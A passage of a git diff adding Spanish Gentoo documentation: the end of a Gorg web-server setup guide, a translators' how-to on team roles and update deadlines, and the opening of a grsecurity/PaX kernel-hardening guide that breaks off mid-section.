+<path>/etc/gorg/gorg.conf</path>, necesitará definir una variable de entorno
+llamada <c>GORG_CONF</c> que apunte al fichero de configuración.
+</p>
+
+<impo>
+Si usa caché, y es recomendable que lo haga, deberá asegurarse de que el
+directorio caché definido en su fichero de configuración tiene los permisos
+adecuados. Si usa apache, el usuario apache  necesita acceso total a ese
+directorio.
+</impo>
+
+</body>
+</section>
+<section>
+<title>Obteniendo los ficheros que faltan</title>
+<body>
+
+<p>
+Asumiendo que va a servir una copia local de CVS, o una copia o enlace
+simbólico a ella, necesitará algunos ficheros del directorio
+<path>dyn</path>.
+</p>
+
+<pre caption="Obtener los ficheros que faltan">
+<comment>(Vaya a su directorio htdocs)</comment>
+$ <i>cd /path/to/your/document/root</i>
+/htdocs $ <i>cd dyn</i>
+/htdocs $ <i>wget -O news-index.xml http://www.gentoo.org/dyn/news-index.xml?passthru=1</i>
+/htdocs $ <i>cd ..</i>
+<comment>(Haga los mismo para cualquier otro dato que necesite del directorio /dyn)</comment>
+</pre>
+
+<p>
+Necesitará también hacer las imágenes disponibles para su navegador. El
+directorio <path>images</path> está un nivel por encima de
+<path>htdocs</path>. Simplemente defina un enlace simbólico a éste y estará
+preparado.
+</p>
+
+<pre caption="Cree un enlace simbólico a las imágenes">
+/htdocs $ <i>ln -si ../images images</i>
+
+<comment>(Debería tener este aspecto:)</comment>
+/htdocs $ <i>ls -l</i>
+drwxr-xr-x   3 neysx users  128 Sep 14 17:45 css
+drwxr-xr-x  31 neysx users  744 Oct 26 00:03 doc
+drwxr-xr-x   3 neysx users  544 Nov  2 16:53 dtd
+drwxr-xr-x   3 neysx users  168 Nov  3 16:24 dyn
+-rw-r--r--   1 neysx users 1406 Jun  7  2003 favicon.ico
+lrwxrwxrwx   1 neysx users   10 Oct 21 22:29 images -> ../images/
+-rw-r--r--   1 neysx users  190 Nov  9  2002 index.xml
+drwxr-xr-x  16 neysx users  384 Apr  1  2004 main
+drwxr-xr-x  17 neysx users 6960 Nov  3 15:34 news
+drwxr-xr-x   8 neysx users  192 Oct 23 14:52 proj
+drwxr-xr-x   4 neysx users   96 Sep 17 14:05 security
+drwxr-xr-x   3 neysx users  736 Nov  2 16:40 xsl
+</pre>
+
+<p>
+Su CVS local probablemente muestre algunas entradas más, pero al menos las
+mencinadas arriba deberían estar disponibles y puestas al día. También
+recuerde mantener su directorio  <path>images</path> actualizado.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Corriendo Gorg</title>
+<section>
+<title>El servidor web independiente</title>
+<body>
+
+<p>
+La forma más sencilla de probarlo, es correr <c>gorg</c>. Debería mostrar
+algo como esto:
+</p>
+
+<pre caption="Correr gorg">
+$ <i>gorg</i>
+
+Starting the Gorg web server on port 8008
+
+Hit Ctrl-C or type "kill 31479" to stop it
+</pre>
+
+<p>
+Apunte su navegador a <uri>http://localhost:8008</uri> y debería ver su
+sitio favorito.
+</p>
+
+</body>
+</section>
+<section>
+<title>Con apache</title>
+<body>
+
+<p>
+Reinice apache (<c>/etc/init.d/apache2 restart</c>) y visite
+<uri>http://localhost</uri> asumiendo que ha instalado su propia estación de
+trabajo.
+</p>
+
+<p>
+Si usó sevidores fastcgi estáticos, debería verlos con <c>top -u apache</c>.
+</p>
+
+<p>
+Si esto no funciona, pruebe con el servidor web independiente (teclee
+<c>gorg</c>). Si esto tampoco funciona, compruebe su fichero de
+configuración <path>/etc/gorg/gorg.conf</path>. Si esto funciona, compruebe
+sus ficheros de configuración de apache y sus ficheros de log.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/gdp/doc/translators-howto.xml b/xml/htdocs/proj/es/gdp/doc/translators-howto.xml
new file mode 100644
index 00000000..430b9aa3
--- /dev/null
+++ b/xml/htdocs/proj/es/gdp/doc/translators-howto.xml
@@ -0,0 +1,436 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="translators-howto.xml" lang="es">
+<title>Guía para los traductores de documentación Gentoo</title>
+<author title="Autor">
+    <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Traductor">
+    <mail link="chiguire@gentoo.org"/>
+</author>
+<author title="Traductor">
+  <mail link="LinuxBlues@gentoo-es.org">Fernando M. Bueno</mail>
+</author>
+
+
+<abstract>
+Una pregunta de uso frecuente es cómo llegar a ser un traductor y qué ha de
+hacerse para llegar a ser un traductor y actuar como un traductor. Este
+documento trata de explicarlo.
+</abstract>
+
+<license/>
+
+<version>0.16</version>
+<date>2005-06-01</date>
+
+
+<chapter>
+<title>Introducción</title>
+<section>
+<title>¿Qué explica este documento?</title>
+<body>
+
+<p>
+La gente está interesada en unirse a los equipos de traducción de
+Gentoo frecuentemente y desea contribuir al esfuerzo de traducción. De
+cualquier forma, muy pocos de ellos conocen lo que un traductor hace y
+necesitan saber cómo se manejan las traducciones. Esta guía debe
+responder a la mayoría de cuestiones que se plantean y si, tras
+consultarla, aún quedan preguntas se puede contactar con <mail
+link="neysx@gentoo.org">Xavier Neys</mail> o <mail
+link="swift@gentoo.org">Sven Vermeulen</mail>.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Situación</title>
+<section>
+<title>Estructura</title>
+<body>
+
+<p>
+El <uri link="/proj/en/gdp/">Proyecto de documentación Gentoo</uri>
+tiene otra sección: <uri
+link="/proj/en/gdp/international.xml">Proyecto de
+internacionalización</uri> que involucra a todos los esfuerzos de
+traducción. Este subproyecto está encabezado por <mail
+link="neysx@gentoo.org">Xavier Neys</mail> e incluye a todos los
+equipos de traducción.
+</p>
+
+<p>
+Cada equipo de traducción está dirigido por el <e>jefe de
+traducción</e>. Esta persona es responsable de todas las traducciones
+creadas por el equipo de traducción. Se puede encontrar al <e>jefe de
+traducción</e> de nuestro idioma en la <uri
+link="/proj/en/gdp/international.xml">Página del proyecto de
+internacionalización</uri>.
+</p>
+
+<p>
+En caso de que el <e>jefe de traducción</e> no se encuentre disponible
+(vacaciones, exámenes, problemas de conexión, ...) el <e>sub-jefe de
+traducción</e> se encargará de su trabajo. Ambos, tanto el <e>jefe de
+traducción</e> como el <e>sub-jefe de traducción</e> son
+desarrolladores Gentoo y deben actuar como si fuesen uno solo.
+</p>
+</body>
+</section>
+
+<section id="trans_situation">
+<title>Jefe de traducción y sub-jefe de traducción</title>
+<body>
+
+<p>
+El <e>jefe de traducción</e> actúa como si fuese el líder de
+traducción, su sucesor es el <e>sub-jefe de traducción</e>. Ambos
+desarrolladores deben conocer a la perfección los siguientes
+documentos importantes:
+</p>
+
+<ul>
+  <li>
+    <uri
+    link="/proj/en/devrel/handbook/handbook.xml?part=3&amp;chap=1">Política
+    de ebuild Gentoo</uri>: Aunque este documento es más importante
+    para los creadores de ebuilds, el <e>jefe de traducción</e> y el
+    <e>sub-jefe de traducción</e> deben entender este documento. Como
+    desarrolladores Gentoo se supone que deben ser capaces de
+    contestar las preguntas normales acerca de Gentoo que se discuten
+    en este documento (como QA y paquetes <e>masked</e>).
+  </li>
+  <li>
+    <uri link="/proj/es/gdp/doc/doc-policy.xml">Política de
+    Documentación de Gentoo Linux</uri>: Cada desarrollador de
+    documentación Gentoo, incluyendo al <e>jefe de traducción</e> y al
+    <e>sub-jefe de traducción</e>, deben leer y aprender este
+    documento de principio a fin. En él se incluyen todas las normas
+    relacionadas con el desarrollo de documentación. No adherirse a
+    dichas normas puede conducir a sanciones.
+  </li>
+  <li>
+    <uri link="/doc/es/xml-guide.xml">Guía XML de Gentoo Linux</uri>:
+    Toda la documentación de Gentoo está escrita en <e>GuideXML</e>,
+    un formato fácil de aprender y fácil de escribir que nos permite
+    convertir la documentación a cualquier otro formato usando
+    XSLT. Este documento explica cómo está estructurado GuideXML
+    <e>y</e> muestra el estilo de codificación del Proyecto de
+    Documentación Gentoo.
+  </li>
+</ul>
+
+<p>
+El <e>jefe de traducción</e> tiene acceso para someter documentos vía
+CVS en el árbol de documentación del repositorio CVS de Gentoo. El
+<e>jefe de traducción</e> y el <e>sub-jefe de traducción</e> pueden
+añadir y actualizar traducciones en la web. Ellos son los responsables
+de las traducciones en la web y de su corrección. De fallar en la
+revisión de los documentos traducidos (teniendo como consecuencia que
+expresen instrucciones equivocadas que no existan en las versiones en
+inglés) se considerará un error muy serio.
+</p>
+</body>
+</section>
+
+<section>
+<title>Equipos de traducción</title>
+<body>
+
+<p>
+Cada equipo de traducción es libre de organizar sus esfuerzos de
+traducción como resulte necesario. Si el equipo necesita una lista de
+correo común, se puede contactar con <mail
+link="swift@gentoo.org">Sven Vermeulen</mail> para crear una lista de
+correo específica para su lenguaje (gentoo-doc-${LANG}@gentoo.org).
+</p>
+
+<p>
+Al contrario del <e>jefe de traducción</e> y el <e>sub-jefe de
+traducción</e>, los miembros del equipo de traducción no tienen acceso
+CVS ni se considerarán desarrolladores Gentoo. Ellos no tienen por qué
+adherirse a las restricciones para los desarrolladores gentoo que se
+mencionaron antes. El <e>jefe de traducción</e> debe proporcionar al
+equipo de traducción toda la información necesaria. De cualquier
+forma, los <uri link="/proj/es/gdp/doc/doc-tipsntricks.xml">trucos y
+consejos</uri> están disponibles y pueden ser de gran ayuda para los
+esfuerzos de traducción.
+</p>
+
+<p>
+Los traductores querrán probablemente suscribirse a nuestra <mail
+link="gentoo-doc-cvs@gentoo.org">lista de correo CVS</mail>. Cada vez
+que un documento se actualiza, se envía un mensaje a esta lista. El
+mensaje contiene una lista de los documentos enviados y un diff con
+los archivos modificados. Visita nuestra <uri
+link="/main/en/lists.xml">página de listas de correo</uri> para
+aprender a suscribirte a nuestras listas.
+</p>
+
+<p>
+Los equipos de traducción pueden optar por usar el archivo <uri
+link="/proj/en/gdp/doc/metadoc-guide.xml">Gentoo Metadoc XML
+Guide</uri> para su lenguaje. Este archivo permite mostrar una lista
+de los miembros del equipo de traducción cuando se usa la
+funcionalidad de la página <e>overview</e>.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Requisitos</title>
+<section id="trans_req">
+<title>Traducciones correctas</title>
+<body>
+
+<p>
+Las traducciones disponibles en la página web de Gentoo deben ser tan
+precisas como sea posible. Las instrucciones de instalación: (<uri
+link="/doc/es/handbook/handbook-x86.xml?part=1">Parte 1</uri> del <uri
+link="/doc/es/handbook/index.xml">Manual Gentoo</uri>) son las más
+importantes y tienen absoluta prioridad sobre cualquier otro
+documento. No pueden retrasarse <e>más de tres días</e> con respecto
+al documento en inglés, en caso de actualizaciones <b>importantes</b>
+(las cuales se anunciarán en <mail
+link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> por el
+<e>Jefe Operativo</e> con "Important" en el Asunto). Las
+actualizaciones menos importantes no serán anunciadas; en este caso,
+la documentación no debe retrasarse más de <e>dos semanas</e>.
+</p>
+
+<p>
+Los documentos operativos (listados a continuación) son los siguientes
+en cuanto al orden de prioridad. Sus traducciones no pueden retrasarse
+<e>más de dos semanas</e> en caso de actualizaciones
+<e>importantes</e> (las cuales se anunciarán en <mail
+link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> con
+"Important" en el Asunto por el <e>gerente operacional</e>). Las
+actualizaciones menos importantes no se anuncian; en este caso, la
+documentación debe actualizarse <e>antes de tres semanas</e>.
+</p>
+
+<p>
+Los documentos operativos son:
+</p>
+
+<ul>
+  <li>
+    <uri link="/doc/es/altinstall.xml">Método alternativo de
+    instalación de Gentoo Linux</uri>
+  </li>
+  <li>
+    <uri link="/doc/es/handbook/handbook-x86.xml?part=2">Parte 2</uri>
+    del <uri link="/doc/es/handbook/index.xml">Manual Gentoo</uri>
+  </li>
+  <li>
+    <uri link="/doc/es/gentoo-security.xml">Guía de seguridad de
+    Gentoo Linux</uri>
+  </li>
+  <li>
+    <uri link="/doc/es/alsa-guide.xml">Guía ALSA para Gentoo
+    Linux</uri>
+  </li>
+</ul>
+
+<p>
+El resto de la documentación no puede retrasarse más de <e>dos
+meses</e>.
+</p>
+
+<p>
+En el caso de no poder satisfacer estos requisitos, las traducciones
+deberán <e>perder el enlace</e> en la web de Gentoo, hasta que se
+actualicen. En el caso de que en un lenguaje no se tenga la
+documentación actualizada (ésto significa que perdería los enlaces en
+la página de Gentoo), el <e>gerente operacional</e> será el encargado
+de ese lenguaje.
+</p>
+</body>
+</section>
+
+<section>
+<title>Documentación que no requiere traducciones</title>
+<body>
+
+<p>
+Los siguientes documentos no necesitan ser traducidos. Aunque el hecho
+de que estén destinados a desarrolladores Gentoo que deberían entender
+el inglés, tampoco impide traducirlos:
+</p>
+
+<ul>
+  <li>
+    <uri link="/proj/en/devrel/handbook/handbook.xml">Gentoo
+    Development Handbook</uri>
+  </li>
+  <li>
+    <uri link="/proj/es/gdp/doc/doc-policy.xml">Política de
+    Documentación de Gentoo Linux</uri>
+  </li>
+  <li>
+    Toda la documentación específica del proyecto, que se encuentra en
+    <path>[gentoo]/xml/htdocs/proj/</path>.
+  </li>
+</ul>
+
+<p>
+De cualquier forma, los equipos que gozan de suficientes recursos para
+ello y noten que pueda haber demanda en su comunidad de las páginas
+traducidas del proyecto, deberían traducirlas <e>y
+mantenerlas</e>. Por favor, se ha de contactar con el <e>jefe de
+traducción</e> o con los miembros del equipo de traducción, para
+asegurarse de que dicha documentación se encuentra actualizada y no
+necesita incorporar cambios importantes antes de emprender la tarea de
+traducirla.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Contribuciones</title>
+<section>
+<title>Contactando con el jefe de traducción</title>
+<body>
+
+<p>
+Quienes deseen contribuir, deben enviar un mensaje al <e>jefe de
+traducción</e> del equipo, el cual se encuentra en <uri
+link="/proj/en/gdp/international.xml">GDP Internationalisation
+Subproject</uri> para preguntar cómo pueden contribuir al proyecto. El
+<e>jefe de traducción</e> debe informar a cada nuevo miembro acerca de
+cómo se manejan las traducciones.
+</p>
+
+<p>
+En el caso de que alguien que desea contribuir encuentre que el
+<e>jefe de traducción</e> no está realizando adecuadamente su labor,
+siempre puede enviar un mensaje a <mail link="neysx@gentoo.org">Xavier
+Neys</mail> o a <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+para explicar sus quejas.
+</p>
+</body>
+</section>
+
+<!--
+<section>
+<title>Asignación de Copyright a Gentoo</title>
+<body>
+
+<p> Toda la documentación, traducciones incluidas, debe adherirse a la
+licencia <uri
+link="http://creativecommons.org/licenses/by-sa/2.0/deed.es"> Creative
+Commons - Reconocimiento / Compartir Igual</uri>. En segundo lugar,
+para proteger la documentación de cualquier infracción, Gentoo
+necesita que todos aquellos que deseen contribuir y sus
+desarrolladores proporcionen su copyright a Gentoo. Esta asignación de
+copyright define claramente que el copyright es de Gentoo y que Gentoo
+no puede cambiar la licencia de la documentación (en caso contrario,
+la asignación de copyright dejaría de ser válida). </p>
+
+</body>
+</section>
+-->
+</chapter>
+
+<chapter>
+<title>Solicitar la posición de jefe de traducción y sub-jefe de
+traducción</title>
+<section>
+<title>Requisitos preliminares</title>
+<body>
+
+<p>
+Todos los requisitos definidos en <uri link="#trans_situation">jefe de
+traducción y sub-jefe de traducción</uri> deben cumplirse. Además, el
+candidato (con la cooperación de su equipo de traducción, en caso de
+tenerlo) debe enviar un número considerable de informes de fallo
+acerca de traducciones a <uri link="http://bugs.gentoo.org">Gentoo
+Linux Bugzilla Home</uri>. Esto asegura que:
+</p>
+
+<ul>
+  <li>
+    El lenguaje tiene una cierta cantidad de documentos listos para la
+    comunidad.
+  </li>
+  <li>
+    El equipo de traducción conoce los esfuerzos que las traducciones
+    requieren.
+  </li>
+  <li>
+    El equipo de traducción conoce cómo manejar <e>GuideXML</e> y el
+    estilo de codifiación.
+  </li>
+</ul>
+
+<p>
+Los documentos requeridos para considerar la inclusión de un lenguaje
+en la página web <uri link="/">Gentoo</uri> son:
+</p>
+
+<ul>
+  <li>
+    <uri link="/doc/es/handbook/">Parte 1</uri> del Manual Gentoo
+    (todas las arquitecturas).
+  </li>
+  <li>
+    Cuando menos, uno de los documentos operativos mencionados en <uri
+    link="#trans_req">Traducciones correctas</uri>.
+  </li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>Solicitar la posición de desarrollador</title>
+<body>
+
+<p>
+Si se cumplen los requisitos preliminares, el candidato a <e>jefe de
+traducción</e> y el candidato a <e>sub-jefe de traducción</e> deben
+enviar un mensaje con la siguiente información a <mail
+link="swift@gentoo.org">Sven Vermeulen</mail> con Cc a <mail
+link="neysx@gentoo.org">Xavier Neys</mail>:
+</p>
+
+<ul>
+  <li>Nombre completo</li>
+  <li>apodo, registrado en irc.freenode.net</li>
+  <li>Dirección de e-mail</li>
+  <li>Información GPG (Key-ID)</li>
+  <li>Lenguaje</li>
+  <li>
+    Posición solicitada (jefe de traducción <e>Lead Translator</e> ó
+    sub-jefe de traducción <e>Translator Follow-Up</e>)
+  </li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>Progreso de la solicitud de desarrollador solicitada</title>
+<body>
+
+<p>
+Si todos los requisitos preliminares se cumplen y toda la información
+necesaria se ha enviado, el candidato recibirá un mensaje de: <mail
+link="avenj@gentoo.org">Jon Portnoy</mail> o <mail
+link="seemant@gentoo.org">Seemant Kulleen</mail> para proporcionarle
+su <uri
+link="/proj/en/infrastructure/cvs-sshkeys.xml#doc_chap1_sect1"> clave
+SSH</uri>. ¡Mantén la clave privada, realmente <b>privada</b>!
+</p>
+
+<p>
+Cuando tu cuenta se haya configurado, se te asignará un <e>mentor</e>
+(principalmente un <e>jefe de traducción</e> con experiencia) para
+ayudarte a enviar los documentos y manejar las traducciones.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/hardened/grsecurity.xml b/xml/htdocs/proj/es/hardened/grsecurity.xml
new file mode 100644
index 00000000..bec740b3
--- /dev/null
+++ b/xml/htdocs/proj/es/hardened/grsecurity.xml
@@ -0,0 +1,934 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/es/hardened/grsecurity.xml" lang="es">
+
+<title>Guía Grsecurity v2 de Gentoo</title>
+
+<author title="Autor">
+  <mail link="solar@gentoo.org">solar</mail>
+</author>
+<author title="Autor">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Traductor">
+  <mail link="anpereir@gentoo.org">Andrés Pereira</mail>
+</author>
+
+<abstract>
+Este documentos describe los parches de seguridad grsecurity2, las
+opciones soportadas por el núcleo y las herramientas ofrecidas por el
+proyecto grsecurity para elevar la seguridad de su sistema a estándares
+superiores.
+</abstract>
+
+<version>1</version>
+<date>2010-01-05</date>
+
+<chapter>
+<title>Acerca de Grsecurity</title>
+<section>
+<title>El Proyecto Grsecurity</title>
+<body>
+
+<p>
+El proyecto grsecurity, alojado en <uri>http://www.grsecurity.org</uri>,
+ofrece varios parches al núcleo de Linux que mejoran la seguridad global
+de su sistema. En el siguiente capítulo se discuten las variadas
+características provistas por grsecurity, una lista completa de estas se
+encuentra en la página de
+<uri link="http://www.grsecurity.org/features.php">características de
+grsecurity</uri>.
+</p>
+
+<p>
+Como la características de grsecurity están basadas principalmente en el núcleo,
+la mayor parte de este documento explica las diversas características del núcleo
+y sus respectivos operandos "sysctl" (si es aplicable).
+</p>
+
+</body>
+</section>
+<section>
+<title>Integración en Gentoo Hardened</title>
+<body>
+
+<p>
+El <uri link="http://hardened.gentoo.org">Proyecto Gentoo Hardened</uri>
+mantiene las características de mejoras de seguridad para Gentoo, incluyendo
+pero no limitándose a grsecurity.
+</p>
+
+</body>
+</section>
+<section>
+<title>Configuración del Núcleo</title>
+<body>
+
+<p>
+A lo largo de este documento hablaremos sobre la configuración del núcleo
+usando las variables de este, por ejemplo:
+<c>CONFIG_GRKERNSEC_PAX_NO_ACL_FLAGS</c>.
+Estas son las variables que usa el proceso de construcción del núcleo para
+determinar si cierta característica necesita ser compilada.
+</p>
+
+<p>
+Cuando configure su núcleo mediante <c>make menuconfig</c> o algo similar, puede
+observar una interfaz de usuario a través de la cual puede seleccionar las
+opciones del núcleo. Si elige el botón de <e>Ayuda (Help)</e> en alguna
+característica del núcleo, verá en la parte superior que menciona el nombre de
+la variable.
+</p>
+
+<p>
+Por lo tanto, puede configurar su núcleo como guste - pensando un poco. Si no
+puede encontrar cierta opción, siempre está la posibilidad de editar el
+archivo <path>/usr/src/linux/.config</path> a mano :)
+</p>
+
+<p>
+Por supuesto, para seleccionar las variadas opciones del núcleo de
+grsecurity debe activarlo en su núcleo:
+</p>
+
+<pre caption="Activando grsecurity">
+CONFIG_GRKERNSEC=y
+CONFIG_GRKERNSEC_CUSTOM=y
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>PaX</title>
+<section>
+<title>Luchando contra la explotación de bugs en el software</title>
+<body>
+
+<p>
+PaX introduce un par de mecanismos de seguridad que hacen más difíciles a los
+atacantes explotar bugs de software que involucren corrupción de memoria (pero
+note que PaX no protege contra todos los posibles bugs de software). El
+<uri link="http://pax.grsecurity.net/docs/pax.txt">documento introductorio a
+PaX</uri> habla sobre tres técnicas posibles de explotación:
+</p>
+
+<ol>
+  <li>introducir/ejecutar código arbitrario</li>
+  <li>ejecutar código existente fuera del orden del programa original</li>
+  <li>ejecutar código existente en el orden original del programa con datos
+  arbitrarios</li>
+</ol>
+
+<p>
+Un método de prevención no permite que se almacene código ejecutable en la
+memoria modificable (writable). Cuando miramos un proceso, este requiere de
+cinco regiones de memoria:
+</p>
+
+<ol>
+  <li>
+    Una <e>sección de datos</e> que contiene los datos asignados estáticamente y
+    los datos globales
+  </li>
+  <li>
+    Una <e>región BSS</e> (Block Started by Symbol) que contiene información de
+    los datos inicializados en cero del proceso
+  </li>
+  <li>
+    Una <e>región de código</e>, también llamada <e>segmento de texto</e>, que
+    contiene las instrucciones ejecutables
+  </li>
+  <li>
+    El <e>heap</e> que contiene la memoria asignada dinámicamente
+  </li>
+  <li>
+    Una <e>pila</e> que contiene las variables locales
+  </li>
+</ol>
+
+<p>
+El primer método de prevención de PaX, llamado <b>NOEXEC</b>, tiene como
+objetivo dar control sobre la generación de código en tiempo de ejecución. Este
+marca como "no ejecutable" a las páginas de memoria que no contienen código
+ejecutable. Esto significa que el heap y la pila, que solamente contienen datos
+variables y no deberían contener código ejecutable, sean marcadas como "no
+ejecutables". Los exploits que coloque código en esas áreas con la intención de
+ejecutarlo simplemente fallarán.
+</p>
+
+<p>
+NOEXEC hace más que eso en realidad, los lectores interesados deberían enfocar
+su atención a la <uri link="http://pax.grsecurity.net/docs/noexec.txt">
+documentación de NOEXEC de PAX</uri> (en inglés).
+</p>
+
+<p>
+El segundo método de prevención de PAX, denominado <b>ASLR</b> (Address Space
+Layout Randomization, Aleatorización de Distribución del Espacio de
+Memoria), aleatoriza las direcciones dadas a peticiones de memoria. ASLR
+aleatoriza la asignación donde la memoria era previamente asignada contiguamente
+(lo que significa que los exploits saben donde están situadas las regiones de
+memoria de las tareas), haciendo inútiles las técnicas que dependen de esta
+información.
+</p>
+
+<p>
+Se puede encontrar más información sobre ASLR <uri
+link="http://pax.grsecurity.net/docs/aslr.txt">en línea</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Activando PaX</title>
+<body>
+
+<p>
+La configuración del núcleo recomendada para PaX es:
+</p>
+
+<pre caption="Configuración del núcleo recomendada para PaX">
+<comment>#
+# PaX Control
+#
+# CONFIG_GRKERNSEC_PAX_SOFTMODE is not set</comment>
+CONFIG_GRKERNSEC_PAX_EI_PAX=y
+CONFIG_GRKERNSEC_PAX_PT_PAX_FLAGS=y
+CONFIG_GRKERNSEC_PAX_NO_ACL_FLAGS=y
+<comment># CONFIG_GRKERNSEC_PAX_HAVE_ACL_FLAGS is not set
+# CONFIG_GRKERNSEC_PAX_HOOK_ACL_FLAGS is not set
+
+#
+# Address Space Protection
+#</comment>
+CONFIG_GRKERNSEC_PAX_NOEXEC=y
+<comment># CONFIG_GRKERNSEC_PAX_PAGEEXEC is not set</comment>
+CONFIG_GRKERNSEC_PAX_SEGMEXEC=y
+CONFIG_GRKERNSEC_PAX_EMUTRAMP=y
+CONFIG_GRKERNSEC_PAX_MPROTECT=y
+<comment># CONFIG_GRKERNSEC_PAX_NOELFRELOCS is not set</comment>
+CONFIG_GRKERNSEC_PAX_ASLR=y
+CONFIG_GRKERNSEC_PAX_RANDKSTACK=y
+CONFIG_GRKERNSEC_PAX_RANDUSTACK=y
+CONFIG_GRKERNSEC_PAX_RANDMMAP=y
+CONFIG_GRKERNSEC_PAX_RANDEXEC=y
+<comment># CONFIG_GRKERNSEC_KMEM is not set
+# CONFIG_GRKERNSEC_IO is not set</comment>
+CONFIG_GRKERNSEC_PROC_MEMMAP=y
+CONFIG_GRKERNSEC_HIDESYM=y
+</pre>
+
+<p>
+Si está usando un sistema no x86, observará que no existe
+CONFIG_GRKERNSEC_PAX_NOEXEC. Debería en cambio seleccionar
+CONFIG_GRKERNSEC_PAX_PAGEEXEC ya que es la única implementación de NOEXEC que
+hay por el momento.
+</p>
+
+</body>
+</section>
+<section>
+<title>Controlando PaX</title>
+<body>
+
+<p>
+No todas las aplicaciones de Linux están contentas con las restricciones de
+seguridad de PaX. Entre estas están xorg-x11, java, mplayer, xmms y otros. Si
+planea usarlas puede alzar las protecciones para esas aplicaciones usando
+<c>chpax</c> y <c>paxctl</c>.
+</p>
+
+<pre caption="Instalando las herramientas chpax y paxctl">
+# <i>emerge app-admin/chpax</i>
+# <i>emerge app-admin/paxctl</i>
+</pre>
+
+<p>
+chpax ofrece un script de inicio que maneja la mayoría de configuraciones
+de las aplicaciones más conocidas:
+</p>
+
+<pre caption="Agregando el script de inicio chpax al nivel de ejecución default">
+# <i>rc-update add chpax default</i>
+</pre>
+
+<p>
+<c>pax-utils</c> en un pequeño conjunto de utilitarios que contiene aplicaciones
+útiles para administrar un servidor que use PaX.
+</p>
+
+<pre caption="Instalando pax-utils">
+# <i>emerge pax-utils</i>
+</pre>
+
+<p>
+Entre sus interesantes herramientas están <c>scanelf</c> y <c>pspax</c>:
+</p>
+
+<ul>
+  <li>
+    Con <c>scanelf</c> puede revisar los directorios de bibliotecas y binarios y
+    listar los diferentes permisos y tipos ELF relevantes para correr una
+    configuración ideal de pax/grsec.
+  </li>
+  <li>
+    Con <c>pspax</c> puede desplegar las banderas/capacidades/xattr PaX desde la
+    perspectiva del núcleo.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Verificando las configuraciones de PaX</title>
+<body>
+
+<p>
+Peter Busser escribió una suite de pruebas de regresión llamada <c>paxtest</c>.
+Esta herramienta chequeará diversos casos de posibles vectores de ataque y le
+informa del resultado. Cuando la ejecuta, dejará un archivo de bitácora
+denominado <path>paxtest.log</path> en el directorio de trabajo actual.
+</p>
+
+<pre caption="Instalando y corriendo paxtest">
+# <i>emerge paxtest</i>
+
+# <i>paxtest</i>
+Executable anonymous mapping             : Killed
+Executable bss                           : Killed
+Executable data                          : Killed
+Executable heap                          : Killed
+Executable stack                         : Killed
+Executable anonymous mapping (mprotect)  : Killed
+Executable bss (mprotect)                : Killed
+Executable data (mprotect)               : Killed
+Executable heap (mprotect)               : Killed
+Executable stack (mprotect)              : Killed
+Executable shared library bss (mprotect) : Killed
+Executable shared library data (mprotect): Killed
+Writable text segments                   : Killed
+Anonymous mapping randomisation test     : 16 bits (guessed)
+Heap randomisation test (ET_EXEC)        : 13 bits (guessed)
+Heap randomisation test (ET_DYN)         : 25 bits (guessed)
+Main executable randomisation (ET_EXEC)  : 16 bits (guessed)
+Main executable randomisation (ET_DYN)   : 17 bits (guessed)
+Shared library randomisation test        : 16 bits (guessed)
+Stack randomisation test (SEGMEXEC)      : 23 bits (guessed)
+Stack randomisation test (PAGEEXEC)      : No randomisation
+Return to function (strcpy)              : Vulnerable
+Return to function (memcpy)              : Vulnerable
+Return to function (strcpy, RANDEXEC)    : Killed
+Return to function (memcpy, RANDEXEC)    : Killed
+Executable shared library bss            : Killed
+Executable shared library data           : Killed
+</pre>
+
+<p>
+Del ejemplo mostrado arriba puede observar que:
+</p>
+
+<ul>
+  <li>
+    strcpy y memcpy se listan como <e>Vulnerables</e>. Esto es esperable y
+    normal - simplemente muestra la necesidad de usar una tecnología comoj
+    ProPolice/SSP.
+  </li>
+  <li>
+    No hay aleatorización para PAGEEXEC. Esto es normal debido a que nuestra
+    configuración recomendada para el núcleo x86 no activó la opción de
+    PAGEEXEC. Sin embargo, en las arquitecturas que soporten (casi todas
+    incluyendo x86_64) realmente el bit NX (no ejecutable), PAGEEXEC es el único
+    método disponible para NOEXEWC y no afecta el rendimiento.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>RBAC</title>
+<section>
+<title>Control de Acceso Basado en Roles (Role Based Access Control)</title>
+<body>
+
+<p>
+Existen dos tipos de mecanismos de control de acceso usados para prevenir el
+acceso desautorizado a archivos (o información en general): DAC (Control de
+Acceso Discrecional) y MAC (Control de Acceso Obligatorio). Linux usa por
+defecto un mecanismo DAC: el creador del archivo puede definir quién tiene
+acceso a este. Un sistema MAC por su parte fuerza a que todos sigan las reglas
+establecidas por el administrador.
+</p>
+
+<p>
+La implementación MAC que soporta grsecurity es llamada Control de Acceso Basado
+en Roles. RSBAC asocia <e>roles</e> a cada usuario. Cada rol define qué
+operaciones pueden ser llevadas a cabo sobre ciertos objetos. Dada una colección
+bien escrita de roles y operaciones, sus usuarios estarán restringidos a hacer
+solamente aquellas tareas que le dice que pueden hacer. La restricción
+por defecto "deny-all" (negar todo) le asegura que un usuario no pueda realizar
+una acción de la cual no haya pensado.
+</p>
+
+</body>
+</section>
+<section>
+<title>Configurando el Núcleo</title>
+<body>
+
+<p>
